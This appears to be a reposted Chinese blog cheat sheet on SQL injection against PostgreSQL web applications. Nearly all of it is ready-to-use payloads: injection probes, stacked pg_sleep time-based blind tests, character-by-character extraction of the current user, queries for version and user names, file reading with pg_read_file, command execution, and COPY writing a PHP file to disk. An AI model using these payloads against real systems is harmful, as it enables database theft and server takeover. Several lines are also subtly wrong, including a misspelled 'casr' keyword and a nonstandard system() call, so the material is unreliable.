關於PostgreSQL的SQL注入必知必會


一、postgresql簡介

postgresql是一款關系型數據庫,廣泛應用在web編程當中,由於其語法與MySQL不盡相同,所以其SQL注入又自成一派。

二、postgresql的SQL注入:(注意注釋符號--+)

1、簡單的有回顯的SQL注入不用多說,還是基本的SQL語句直接查詢就可以了。

1 #簡單的payload
2 parameter = 2-1
3 parameter = 1 and 1 = 2
4 parameter = 1 or 1 = 2-1
5 parameter = 1' and '1'='1#and -> or
6 parameter = 1' and '1'='2#and -> or

或者引號區分發(適用於字符串)

1 parameter = 1    #Success
2 parameter = 1'   #Failed
3 parameter = 1''  #Success

2、一般的基於時間的盲注,可以參考下面的辦法:

1 #postgresql 的幾個簡單判斷payload:
2 parameter=1;select pg_sleep(5)
3 parameter=1';select pg_sleep(5)
4 parameter=1');select pg_sleep(5)
5 parameter=1);select pg_sleep(5)
6 parameter=1));select pg_sleep(5)
7 parameter=select pg_sleep(5)

盲注的逐位猜解

1 SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+

3、常見的函數查看一些基本信息:

1 SELECT version() #查看版本信息
2 #查看用戶
3 SELECT user;
4 SELECT current_user;
5 SELECT session_user;
6 SELECT usename FROM pg_user;#這里是usename不是username
7 SELECT getpgusername();
8 #查看當前數據庫
9 SELECT current_database()

4、postgresql下的if

1 #mysql的
2 if(expr1,result1,result2);
3 #如果expr1滿足,result1,否則result2
4 
5 #對於postgresql
6 select case when(expr1) then result1 else result2 end;
7 
8 #舉個例子
9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

5、其他

(1)讀取文件:

1 select pg_read_file(filepath+filename);

(2)執行命令:

1 select system("comamnd_string");

(3)寫入文件:

1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM